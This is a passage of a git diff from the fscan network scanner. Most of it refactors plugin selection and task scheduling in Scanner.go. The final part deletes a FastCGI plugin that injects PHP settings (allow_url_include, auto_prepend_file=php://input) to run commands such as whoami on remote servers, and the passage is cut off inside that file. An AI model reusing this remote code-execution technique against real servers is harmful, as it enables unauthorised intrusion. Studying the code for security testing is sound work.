LangEN: "Included plugins: %v", - LangJA: "含まれるプラグイン: %v", - LangRU: "Включенные плагины: %v", - }, "tcp_conn_failed": { LangZH: "建立TCP连接失败: %v", LangEN: "Failed to establish TCP connection: %v", diff --git a/Core/PortScan.go b/Core/PortScan.go index eb048f3..1e4ac61 100644 --- a/Core/PortScan.go +++ b/Core/PortScan.go @@ -19,7 +19,7 @@ type Addr struct { // ScanResult 扫描结果 type ScanResult struct { Address string // IP地址 - Port int // 端口号 + Port int // 端口号 Service *ServiceInfo // 服务信息 } @@ -45,7 +45,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { // 初始化并发控制 workers := Common.ThreadNum - addrs := make(chan Addr, 100) // 待扫描地址通道 + addrs := make(chan Addr, 100) // 待扫描地址通道 scanResults := make(chan ScanResult, 100) // 扫描结果通道 var wg sync.WaitGroup var workerWg sync.WaitGroup @@ -141,7 +141,7 @@ func PortConnect(addr Addr, results chan<- ScanResult, timeout int64, wg *sync.W } // 执行服务识别 - if !Common.SkipFingerprint && conn != nil { + if Common.EnableFingerprint && conn != nil { scanner := NewPortInfoScanner(addr.ip, addr.port, conn, time.Duration(timeout)*time.Second) if serviceInfo, err := scanner.Identify(); err == nil { result.Service = serviceInfo diff --git a/Core/Registry.go b/Core/Registry.go index 44fc693..ec61084 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -3,6 +3,7 @@ package Core import ( "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Plugins" + "sort" ) // init 初始化并注册所有扫描插件 @@ -17,7 +18,7 @@ func init() { }) Common.RegisterPlugin("ssh", Common.ScanPlugin{ - Name: "SSH", + Name: "SSH", Ports: []int{22, 2222}, ScanFunc: Plugins.SshScan, }) @@ -176,12 +177,6 @@ func init() { ScanFunc: Plugins.RedisScan, }) - Common.RegisterPlugin("fcgi", Common.ScanPlugin{ - Name: "FastCGI", - Ports: []int{9000}, - ScanFunc: Plugins.FcgiScan, - }) - Common.RegisterPlugin("memcached", Common.ScanPlugin{ Name: "Memcached", Ports: []int{11211}, @@ -227,12 +222,6 @@ func init() { ScanFunc: Plugins.SmbScan2, }) - Common.RegisterPlugin("wmiexec", Common.ScanPlugin{ - Name: "WMIExec", - Ports: []int{135}, - ScanFunc: Plugins.WmiExec, - }) - // 5. 本地信息收集插件 Common.RegisterPlugin("localinfo", Common.ScanPlugin{ Name: "LocalInfo", @@ -252,3 +241,19 @@ func init() { ScanFunc: Plugins.MiniDump, }) } + +// GetAllPlugins 返回所有已注册插件的名称列表 +// 当用户未指定特定插件或使用"All"模式时使用 +func GetAllPlugins() []string { + pluginNames := make([]string, 0, len(Common.PluginManager)) + + // 遍历插件管理器,获取所有插件名称 + for name := range Common.PluginManager { + pluginNames = append(pluginNames, name) + } + + // 对插件名称进行排序,使输出更加一致 + sort.Strings(pluginNames) + + return pluginNames +} diff --git a/Core/Scanner.go b/Core/Scanner.go index a3ab49d..8bfba8c 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -13,115 +13,112 @@ import ( "time" ) -// 全局变量定义 +// 全局状态 var ( - LocalScan bool // 本地扫描模式标识 - WebScan bool // Web扫描模式标识 + LocalScan bool // 本地扫描模式标识 + WebScan bool // Web扫描模式标识 + Mutex = &sync.Mutex{} // 用于保护共享资源 ) -// Scan 执行扫描主流程 -// info: 主机信息结构体,包含扫描目标的基本信息 +// ScanTask 表示单个扫描任务 +type ScanTask struct { + pluginName string // 插件名称 + target Common.HostInfo // 目标信息 +} + +// 添加一个本地插件集合,用于识别哪些插件是本地信息收集插件 +var localPlugins = map[string]bool{ + "localinfo": true, + "dcinfo": true, + "minidump": true, +} + +// ----------------------------------------------------------------------------- +// 主扫描流程 +// ----------------------------------------------------------------------------- + +// Scan 执行整体扫描流程的入口函数 func Scan(info Common.HostInfo) { Common.LogInfo("开始信息扫描") - - // 初始化HTTP客户端配置 lib.Inithttp() - // 初始化并发控制 + // 并发控制初始化 ch := make(chan struct{}, Common.ThreadNum) wg := sync.WaitGroup{} - // 根据扫描模式执行不同的扫描策略 - switch { - case Common.LocalMode: - // 本地信息收集模式 - LocalScan = true - executeLocalScan(info, &ch, &wg) - case len(Common.URLs) > 0: - // Web扫描模式 - WebScan = true - executeWebScan(info, &ch, &wg) - default: - // 主机扫描模式 - executeHostScan(info, &ch, &wg) - } + // 选择并执行扫描模式 + selectScanMode(info, &ch, &wg) - // 等待所有扫描任务完成 - finishScan(&wg) + // 等待所有扫描完成 + wg.Wait() + finishScan() } -// executeLocalScan 执行本地扫描 -// info: 主机信息 -// ch: 并发控制通道 -// wg: 等待组 +// 根据配置选择扫描模式 +func selectScanMode(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { + switch { + case Common.LocalMode: + LocalScan = true + executeLocalScan(info, ch, wg) + case len(Common.URLs) > 0: + WebScan = true + executeWebScan(info, ch, wg) + default: + executeHostScan(info, ch, wg) + } +} + +// 完成扫描并输出结果 +func finishScan() { + if Common.ProgressBar != nil { + Common.ProgressBar.Finish() + fmt.Println() + } + Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num)) +} + +// ----------------------------------------------------------------------------- +// 三种扫描模式实现 +// ----------------------------------------------------------------------------- + +// 执行本地信息收集 func executeLocalScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { Common.LogInfo("执行本地信息收集") - // 获取本地模式支持的插件列表 - validLocalPlugins := getValidPlugins(Common.ModeLocal) - - // 验证扫描模式的合法性 - if err := validateScanMode(validLocalPlugins, Common.ModeLocal); err != nil { + // 验证插件配置 + if err := validateScanPlugins(); err != nil { Common.LogError(err.Error()) return } - // 输出使用的插件信息 - if Common.ScanMode == Common.ModeLocal { - Common.LogInfo("使用全部本地插件") - Common.ParseScanMode(Common.ScanMode) - } else { - Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode)) - } + // 输出插件信息 + logPluginInfo() // 执行扫描任务 - executeScans([]Common.HostInfo{info}, ch, wg) + executeScanTasks([]Common.HostInfo{info}, ch, wg) } -// executeWebScan 执行Web扫描 -// info: 主机信息 -// ch: 并发控制通道 -// wg: 等待组 +// 执行Web扫描 func executeWebScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { Common.LogInfo("开始Web扫描") - // 获取Web模式支持的插件列表 - validWebPlugins := getValidPlugins(Common.ModeWeb) - - // 验证扫描模式的合法性 - if err := validateScanMode(validWebPlugins, Common.ModeWeb); err != nil { + // 验证插件配置 + if err := validateScanPlugins(); err != nil { Common.LogError(err.Error()) return } - // 处理目标URL列表 - var targetInfos []Common.HostInfo - for _, url := range Common.URLs { - urlInfo := info - // 确保URL包含协议头 - if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") { - url = "http://" + url - } - urlInfo.Url = url - targetInfos = append(targetInfos, urlInfo) - } + // 准备URL目标 + targetInfos := prepareURLTargets(info) - // 输出使用的插件信息 - if Common.ScanMode == Common.ModeWeb { - Common.LogInfo("使用全部Web插件") - Common.ParseScanMode(Common.ScanMode) - } else { - Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode)) - } + // 输出插件信息 + logPluginInfo() // 执行扫描任务 - executeScans(targetInfos, ch, wg) + executeScanTasks(targetInfos, ch, wg) } -// executeHostScan 执行主机扫描 -// info: 主机信息 -// ch: 并发控制通道 -// wg: 等待组 +// 执行主机扫描 func executeHostScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { // 验证扫描目标 if info.Host == "" { @@ -129,6 +126,12 @@ func executeHostScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup return } + // 验证插件配置 + if err := validateScanPlugins(); err != nil { + Common.LogError(err.Error()) + return + } + // 解析目标主机 hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) if err != nil { @@ -137,91 +140,71 @@ func executeHostScan(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup } Common.LogInfo("开始主机扫描") - executeScan(hosts, info, ch, wg) + + // 输出插件信息 + logPluginInfo() + + // 执行主机扫描 + performHostScan(hosts, info, ch, wg) } -// getValidPlugins 获取指定模式下的有效插件列表 -// mode: 扫描模式 -// 返回: 有效插件映射表 -func getValidPlugins(mode string) map[string]bool { - validPlugins := make(map[string]bool) - for _, plugin := range Common.PluginGroups[mode] { - validPlugins[plugin] = true - } - return validPlugins -} +// ----------------------------------------------------------------------------- +// 主机扫描流程详细实现 +// ----------------------------------------------------------------------------- -// validateScanMode 验证扫描模式的合法性 -// validPlugins: 有效插件列表 -// mode: 扫描模式 -// 返回: 错误信息 -func validateScanMode(validPlugins map[string]bool, mode string) error { - if Common.ScanMode == "" || Common.ScanMode == "All" { - Common.ScanMode = mode - } else if _, exists := validPlugins[Common.ScanMode]; !exists { - return fmt.Errorf("无效的%s插件: %s", mode, Common.ScanMode) - } - return nil -} - -// executeScan 执行主扫描流程 -// hosts: 目标主机列表 -// info: 主机信息 -// ch: 并发控制通道 -// wg: 等待组 -func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { +// 执行主机扫描的完整流程 +func performHostScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { var targetInfos []Common.HostInfo - // 处理主机和端口扫描 + // 主机存活性检测和端口扫描 if len(hosts) > 0 || len(Common.HostPort) > 0 { - // 检查主机存活性 - if shouldPingScan(hosts) { + // 主机存活检测 + if shouldPerformLivenessCheck(hosts) { hosts = CheckLive(hosts, Common.UsePing) Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts))) - if Common.IsICMPScan() { - return - } } - // 获取存活端口 - alivePorts := getAlivePorts(hosts) - if len(alivePorts) > 0 { - targetInfos = prepareTargetInfos(alivePorts, info) - } + // 端口扫描 + targetInfos = scanPortsAndPrepareTargets(hosts, info) } - // 添加URL扫描目标 + // 添加URL目标 targetInfos = appendURLTargets(targetInfos, info) // 执行漏洞扫描 if len(targetInfos) > 0 { Common.LogInfo("开始漏洞扫描") - executeScans(targetInfos, ch, wg) + executeScanTasks(targetInfos, ch, wg) } } -// shouldPingScan 判断是否需要执行ping扫描 -// hosts: 目标主机列表 -// 返回: 是否需要ping扫描 -func shouldPingScan(hosts []string) bool { - return (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan() +// 判断是否需要执行存活性检测 +func shouldPerformLivenessCheck(hosts []string) bool { + return Common.DisablePing == false && len(hosts) > 1 } -// getAlivePorts 获取存活端口列表 -// hosts: 目标主机列表 -// 返回: 存活端口列表 -func getAlivePorts(hosts []string) []string { +// 扫描端口并准备目标信息 +func scanPortsAndPrepareTargets(hosts []string, info Common.HostInfo) []Common.HostInfo { + // 扫描存活端口 + alivePorts := discoverAlivePorts(hosts) + if len(alivePorts) == 0 { + return nil + } + + // 转换为目标信息 + return convertToTargetInfos(alivePorts, info) +} + +// 发现存活的端口 +func discoverAlivePorts(hosts []string) []string { var alivePorts []string // 根据扫描模式选择端口扫描方式 - if Common.IsWebScan() { + if WebScan || len(Common.URLs) > 0 { alivePorts = NoPortScan(hosts, Common.Ports) } else if len(hosts) > 0 { alivePorts = PortScan(hosts, Common.Ports, Common.Timeout) Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts))) - if Common.IsPortScan() { - return nil - } } // 合并额外指定的端口 @@ -235,10 +218,230 @@ func getAlivePorts(hosts []string) []string { return alivePorts } -// appendURLTargets 添加URL扫描目标 -// targetInfos: 现有目标列表 -// baseInfo: 基础主机信息 -// 返回: 更新后的目标列表 +// ----------------------------------------------------------------------------- +// 插件管理和解析 +// ----------------------------------------------------------------------------- + +// getAllLocalPlugins 返回所有本地插件的名称列表 +func getAllLocalPlugins() []string { + var localPluginList []string + for plugin := range localPlugins { + localPluginList = append(localPluginList, plugin) + } + sort.Strings(localPluginList) + return localPluginList +} + +// parsePluginList 解析逗号分隔的插件列表 +// pluginStr: 逗号分隔的插件字符串,如 "ssh,ftp,telnet" +// 返回: 插件名称的字符串切片 +func parsePluginList(pluginStr string) []string { + if pluginStr == "" { + return nil + } + + // 按逗号分割并去除每个插件名称两端的空白 + plugins := strings.Split(pluginStr, ",") + for i, p := range plugins { + plugins[i] = strings.TrimSpace(p) + } + + // 过滤空字符串 + var result []string + for _, p := range plugins { + if p != "" { + result = append(result, p) + } + } + + return result +} + +// validateScanPlugins 验证扫描插件的有效性 +// 返回: 错误信息 +func validateScanPlugins() error { + // 如果未指定扫描模式或使用All模式,则无需验证 + if Common.ScanMode == "" || Common.ScanMode == "All" { + return nil + } + + // 解析插件列表 + plugins := parsePluginList(Common.ScanMode) + if len(plugins) == 0 { + plugins = []string{Common.ScanMode} + } + + // 验证每个插件是否有效 + var invalidPlugins []string + for _, plugin := range plugins { + if _, exists := Common.PluginManager[plugin]; !exists { + invalidPlugins = append(invalidPlugins, plugin) + } + } + + if len(invalidPlugins) > 0 { + return fmt.Errorf("无效的插件: %s", strings.Join(invalidPlugins, ", ")) + } + + // 如果是本地模式,验证是否包含非本地插件 + if Common.LocalMode { + var nonLocalPlugins []string + for _, plugin := range plugins { + if !isLocalPlugin(plugin) { + nonLocalPlugins = append(nonLocalPlugins, plugin) + } + } + + if len(nonLocalPlugins) > 0 { + Common.LogInfo(fmt.Sprintf("本地模式下,以下非本地插件将被忽略: %s", strings.Join(nonLocalPlugins, ", "))) + } + } + + return nil +} + +// isLocalPlugin 判断插件是否为本地信息收集插件 +func isLocalPlugin(pluginName string) bool { + return localPlugins[pluginName] +} + +// getPluginsToRun 获取要执行的插件列表 +// 返回: 插件列表和是否为自定义插件模式 +func getPluginsToRun() ([]string, bool) { + // 本地模式处理 + if Common.LocalMode { + // 在本地模式下只执行本地插件 + + // 如果指定了特定插件(单个或多个) + if Common.ScanMode != "" && Common.ScanMode != "All" { + requestedPlugins := parsePluginList(Common.ScanMode) + if len(requestedPlugins) == 0 { + requestedPlugins = []string{Common.ScanMode} + } + + // 过滤出本地插件 + var localPluginsToRun []string + for _, plugin := range requestedPlugins { + if isLocalPlugin(plugin) { + localPluginsToRun = append(localPluginsToRun, plugin) + } + } + + return localPluginsToRun, true + } + + // 如果是All模式或未指定,则返回所有本地插件 + return getAllLocalPlugins(), true + } + + // 非本地模式处理(保持原有行为) + // 如果指定了插件列表(逗号分隔) + if Common.ScanMode != "" && Common.ScanMode != "All" { + plugins := parsePluginList(Common.ScanMode) + if len(plugins) > 0 { + return plugins, true + } + return []string{Common.ScanMode}, true + } + + // 默认情况:使用所有非本地插件 + allPlugins := GetAllPlugins() + filteredPlugins := make([]string, 0, len(allPlugins)) + + for _, plugin := range allPlugins { + if !isLocalPlugin(plugin) { + filteredPlugins = append(filteredPlugins, plugin) + } + } + + return filteredPlugins, false +} + +// logPluginInfo 输出插件信息 +func logPluginInfo() { + if Common.LocalMode { + if Common.ScanMode == "" || Common.ScanMode == "All" { + Common.LogInfo("本地模式: 使用所有本地信息收集插件") + } else { + plugins := parsePluginList(Common.ScanMode) + if len(plugins) == 0 { + plugins = []string{Common.ScanMode} + } + + // 过滤出本地插件 + var localPluginsToRun []string + for _, plugin := range plugins { + if isLocalPlugin(plugin) { + localPluginsToRun = append(localPluginsToRun, plugin) + } + } + + if len(localPluginsToRun) > 1 { + Common.LogInfo(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(localPluginsToRun, ", "))) + } else if len(localPluginsToRun) == 1 { + Common.LogInfo(fmt.Sprintf("本地模式: 使用本地插件: %s", localPluginsToRun[0])) + } else { + Common.LogInfo("本地模式: 未指定有效的本地插件,将不执行任何扫描") + } + } + return + } + + // 非本地模式的原有逻辑 + if Common.ScanMode == "" || Common.ScanMode == "All" { + Common.LogInfo("使用所有可用插件(已排除本地敏感插件)") + } else { + plugins := parsePluginList(Common.ScanMode) + if len(plugins) > 1 { + Common.LogInfo(fmt.Sprintf("使用插件: %s", strings.Join(plugins, ", "))) + } else { + Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode)) + } + } +} + +// ----------------------------------------------------------------------------- +// 目标准备 +// ----------------------------------------------------------------------------- + +// 准备URL目标列表 +func prepareURLTargets(baseInfo Common.HostInfo) []Common.HostInfo { + var targetInfos []Common.HostInfo + + for _, url := range Common.URLs { + urlInfo := baseInfo + // 确保URL包含协议头 + if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") { + url = "http://" + url + } + urlInfo.Url = url + targetInfos = append(targetInfos, urlInfo) + } + + return targetInfos +} + +// 将端口列表转换为目标信息 +func convertToTargetInfos(ports []string, baseInfo Common.HostInfo) []Common.HostInfo { + var infos []Common.HostInfo + + for _, targetIP := range ports { + hostParts := strings.Split(targetIP, ":") + if len(hostParts) != 2 { + Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP)) + continue + } + + info := baseInfo + info.Host = hostParts[0] + info.Ports = hostParts[1] + infos = append(infos, info) + } + + return infos +} + +// 添加URL扫描目标 func appendURLTargets(targetInfos []Common.HostInfo, baseInfo Common.HostInfo) []Common.HostInfo { for _, url := range Common.URLs { urlInfo := baseInfo @@ -248,220 +451,176 @@ func appendURLTargets(targetInfos []Common.HostInfo, baseInfo Common.HostInfo) [ return targetInfos } -// prepareTargetInfos 准备扫描目标信息 -// alivePorts: 存活端口列表 -// baseInfo: 基础主机信息 -// 返回: 目标信息列表 -func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common.HostInfo { - var infos []Common.HostInfo - for _, targetIP := range alivePorts { - hostParts := strings.Split(targetIP, ":") - if len(hostParts) != 2 { - Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP)) - continue - } - info := baseInfo - info.Host = hostParts[0] - info.Ports = hostParts[1] - infos = append(infos, info) +// ----------------------------------------------------------------------------- +// 任务执行 +// ----------------------------------------------------------------------------- + +// 执行扫描任务集合 +func executeScanTasks(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { + // 获取要执行的插件 + pluginsToRun, isCustomMode := getPluginsToRun() + + // 准备扫描任务 + tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode) + + // 输出扫描计划 + if Common.ShowScanPlan && len(tasks) > 0 { + logScanPlan(tasks) + } + + // 初始化进度条 + if len(tasks) > 0 && Common.ShowProgress { + initProgressBar(len(tasks)) + } + + // 执行所有任务 + for _, task := range tasks { + scheduleScanTask(task.pluginName, task.target, ch, wg) } - return infos } -// ScanTask 扫描任务结构体 -type ScanTask struct { - pluginName string // 插件名称 - target Common.HostInfo // 目标信息 +// logScanPlan 输出扫描计划信息 +func logScanPlan(tasks []ScanTask) { + // 统计每个插件的目标数量 + pluginCounts := make(map[string]int) + for _, task := range tasks { + pluginCounts[task.pluginName]++ + } + + // 构建扫描计划信息 + var planInfo strings.Builder + planInfo.WriteString("扫描计划:\n") + + for plugin, count := range pluginCounts { + planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count)) + } + + Common.LogInfo(planInfo.String()) } -// executeScans 执行扫描任务 -// targets: 目标列表 -// ch: 并发控制通道 -// wg: 等待组 -func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { - mode := Common.GetScanMode() - - // 获取要执行的插件列表 - pluginsToRun, isSinglePlugin := getPluginsToRun(mode) - +// 准备扫描任务列表 +func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustomMode bool) []ScanTask { var tasks []ScanTask - actualTasks := 0 - loadedPlugins := make([]string, 0) - // 收集扫描任务 for _, target := range targets { targetPort, _ := strconv.Atoi(target.Ports) + for _, pluginName := range pluginsToRun { plugin, exists := Common.PluginManager[pluginName] if !exists { continue } - taskAdded, newTasks := collectScanTasks(plugin, target, targetPort, pluginName, isSinglePlugin) - if taskAdded { - actualTasks += len(newTasks) - loadedPlugins = append(loadedPlugins, pluginName) - tasks = append(tasks, newTasks...) + + // 检查插件是否适用于当前目标 + if isPluginApplicable(plugin, targetPort, isCustomMode, pluginName) { + tasks = append(tasks, ScanTask{ + pluginName: pluginName, + target: target, + }) } } } - // 处理插件列表 - finalPlugins := getUniquePlugins(loadedPlugins) - Common.LogInfo(fmt.Sprintf("加载的插件: %s", strings.Join(finalPlugins, ", "))) - - // 初始化进度条 - initializeProgressBar(actualTasks) - - // 执行扫描任务 - for _, task := range tasks { - AddScan(task.pluginName, task.target, ch, wg) - } + return tasks } -// getPluginsToRun 获取要执行的插件列表 -// mode: 扫描模式 -// 返回: 插件列表和是否为单插件模式 -func getPluginsToRun(mode string) ([]string, bool) { - var pluginsToRun []string - isSinglePlugin := false - - if plugins := Common.GetPluginsForMode(mode); plugins != nil { - pluginsToRun = plugins - } else { - pluginsToRun = []string{mode} - isSinglePlugin = true +// isPluginApplicable 判断插件是否适用于目标 +func isPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool, pluginName string) bool { + // 本地模式下,只执行本地插件 + if LocalScan { + return isLocalPlugin(pluginName) } - return pluginsToRun, isSinglePlugin + // 非本地模式下,本地插件特殊处理 + if isLocalPlugin(pluginName) { + // 只有在自定义模式下明确指定时才执行本地插件 + return isCustomMode + } + + // 特殊扫描模式下的处理 + if WebScan || isCustomMode { + return true + } + + // 端口匹配检查 + // 无端口限制的插件或端口匹配的插件 + return len(plugin.Ports) == 0 || plugin.HasPort(targetPort) } -// collectScanTasks 收集扫描任务 -// plugin: 插件信息 -// target: 目标信息 -// targetPort: 目标端口 -// pluginName: 插件名称 -// isSinglePlugin: 是否为单插件模式 -// 返回: 是否添加任务和任务列表 -func collectScanTasks(plugin Common.ScanPlugin, target Common.HostInfo, targetPort int, pluginName string, isSinglePlugin bool) (bool, []ScanTask) { - var tasks []ScanTask - taskAdded := false - - if WebScan || LocalScan || isSinglePlugin || len(plugin.Ports) == 0 || plugin.HasPort(targetPort) { - taskAdded = true - tasks = append(tasks, ScanTask{ - pluginName: pluginName, - target: target, - }) - } - - return taskAdded, tasks +// 初始化进度条 +func initProgressBar(totalTasks int) { + Common.ProgressBar = progressbar.NewOptions(totalTasks, + progressbar.OptionEnableColorCodes(true), + progressbar.OptionShowCount(), + progressbar.OptionSetWidth(15), + progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"), + progressbar.OptionSetTheme(progressbar.Theme{ + Saucer: "[green]=[reset]", + SaucerHead: "[green]>[reset]", + SaucerPadding: " ", + BarStart: "[", + BarEnd: "]", + }), + progressbar.OptionThrottle(65*time.Millisecond), + progressbar.OptionUseANSICodes(true), + progressbar.OptionSetRenderBlankState(true), + ) } -// getUniquePlugins 获取去重后的插件列表 -// loadedPlugins: 已加载的插件列表 -// 返回: 去重并排序后的插件列表 -func getUniquePlugins(loadedPlugins []string) []string { - uniquePlugins := make(map[string]struct{}) - for _, p := range loadedPlugins { - uniquePlugins[p] = struct{}{} - } - - finalPlugins := make([]string, 0, len(uniquePlugins)) - for p := range uniquePlugins { - finalPlugins = append(finalPlugins, p) - } - - sort.Strings(finalPlugins) - return finalPlugins -} - -// initializeProgressBar 初始化进度条 -// actualTasks: 实际任务数量 -func initializeProgressBar(actualTasks int) { - if Common.ShowProgress { - Common.ProgressBar = progressbar.NewOptions(actualTasks, - progressbar.OptionEnableColorCodes(true), - progressbar.OptionShowCount(), - progressbar.OptionSetWidth(15), - progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"), - progressbar.OptionSetTheme(progressbar.Theme{ - Saucer: "[green]=[reset]", - SaucerHead: "[green]>[reset]", - SaucerPadding: " ", - BarStart: "[", - BarEnd: "]", - }), - progressbar.OptionThrottle(65*time.Millisecond), - progressbar.OptionUseANSICodes(true), - progressbar.OptionSetRenderBlankState(true), - ) - } -} - -// finishScan 完成扫描任务 -// wg: 等待组 -func finishScan(wg *sync.WaitGroup) { - wg.Wait() - if Common.ProgressBar != nil { - Common.ProgressBar.Finish() - fmt.Println() - } - Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num)) -} - -// Mutex 用于保护共享资源的并发访问 -var Mutex = &sync.Mutex{} - -// AddScan 添加扫描任务并启动扫描 -// plugin: 插件名称 -// info: 目标信息 -// ch: 并发控制通道 -// wg: 等待组 -func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { - *ch <- struct{}{} +// 调度单个扫描任务 +func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { wg.Add(1) + *ch <- struct{}{} // 获取并发槽位 go func() { + startTime := time.Now() + defer func() { + // 捕获并记录任何可能的panic + if r := recover(); r != nil { + Common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v", + pluginName, target.Host, target.Ports, r)) + } + + // 完成任务,释放资源 + duration := time.Since(startTime) + if Common.ShowScanPlan { + Common.LogInfo(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)", + pluginName, target.Host, target.Ports, duration.Seconds())) + } + wg.Done() - <-*ch + <-*ch // 释放并发槽位 }() atomic.AddInt64(&Common.Num, 1) - ScanFunc(&plugin, &info) - updateScanProgress(&info) + executeSingleScan(pluginName, target) + updateProgress() }() } -// ScanFunc 执行扫描插件 -// name: 插件名称 -// info: 目标信息 -func ScanFunc(name *string, info *Common.HostInfo) { - defer func() { - if err := recover(); err != nil { - Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err)) - } - }() - - plugin, exists := Common.PluginManager[*name] +// 执行单个扫描 +func executeSingleScan(pluginName string, info Common.HostInfo) { + plugin, exists := Common.PluginManager[pluginName] if !exists { - Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", *name)) + Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName)) return } - if err := plugin.ScanFunc(info); err != nil { + if err := plugin.ScanFunc(&info); err != nil { Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err)) } } -// updateScanProgress 更新扫描进度 -// info: 目标信息 -func updateScanProgress(info *Common.HostInfo) { +// 更新扫描进度 +func updateProgress() { Common.OutputMutex.Lock() + defer Common.OutputMutex.Unlock() + atomic.AddInt64(&Common.End, 1) + if Common.ProgressBar != nil { fmt.Print("\033[2K\r") Common.ProgressBar.Add(1) } - Common.OutputMutex.Unlock() } diff --git a/Plugins/FcgiScan.go b/Plugins/FcgiScan.go deleted file mode 100644 index d679d98..0000000 --- a/Plugins/FcgiScan.go +++ /dev/null @@ -1,375 +0,0 @@ -package Plugins - -import ( - "bufio" - "bytes" - "encoding/binary" - "errors" - "fmt" - "github.com/shadow1ng/fscan/Common" - "io" - "strconv" - "strings" - "sync" - "time" -) - -//links -//https://xz.aliyun.com/t/9544 -//https://github.com/wofeiwo/webcgi-exploits - -// FcgiScan 执行FastCGI服务器漏洞扫描 -func FcgiScan(info *Common.HostInfo) error { - // 如果设置了暴力破解模式则跳过 - if Common.DisableBrute { - return nil - } - - // 设置目标URL路径 - url := "/etc/issue" - if Common.RemotePath != "" { - url = Common.RemotePath - } - addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) - - // 构造PHP命令注入代码 - var reqParams string - var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 - - switch { - case Common.Command == "read": - reqParams = "" // 读取模式 - case Common.Command != "": - reqParams = fmt.Sprintf("", Common.Command, cutLine) // 自定义命令 - default: - reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami - } - - // 设置FastCGI环境变量 - env := map[string]string{ - "SCRIPT_FILENAME": url, - "DOCUMENT_ROOT": "/", - "SERVER_SOFTWARE": "go / fcgiclient ", - "REMOTE_ADDR": "127.0.0.1", - "SERVER_PROTOCOL": "HTTP/1.1", - } - - // 根据请求类型设置对应的环境变量 - if len(reqParams) != 0 { - env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams)) - env["REQUEST_METHOD"] = "POST" - env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input" - } else { - env["REQUEST_METHOD"] = "GET" - } - - // 建立FastCGI连接 - fcgi, err := New(addr, Common.Timeout) - defer func() { - if fcgi.rwc != nil { - fcgi.rwc.Close() - } - }() - if err != nil { - fmt.Printf("FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err) - return err - } - - // 发送FastCGI请求 - stdout, stderr, err := fcgi.Request(env, reqParams) - if err != nil { - fmt.Printf("FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err) - return err - } - - // 处理响应结果 - output := string(stdout) - var result string - - if strings.Contains(output, cutLine) { - // 命令执行成功,提取输出结果 - output = strings.SplitN(output, cutLine, 2)[0] - if len(stderr) > 0 { - result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", - info.Host, info.Ports, output, string(stderr)) - } else { - result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v", - info.Host, info.Ports, output) - } - Common.LogSuccess(result) - } else if strings.Contains(output, "File not found") || - strings.Contains(output, "Content-type") || - strings.Contains(output, "Status") { - // 目标存在FastCGI服务但可能路径错误 - if len(stderr) > 0 { - result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php", - info.Host, info.Ports, output, string(stderr)) - } else { - result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v", - info.Host, info.Ports, output) - } - Common.LogSuccess(result) - } - - return nil -} - -// for padding so we don't have to allocate all the time -// not synchronized because we don't care what the contents are -var pad [maxPad]byte - -const ( - FCGI_BEGIN_REQUEST uint8 = iota + 1 - 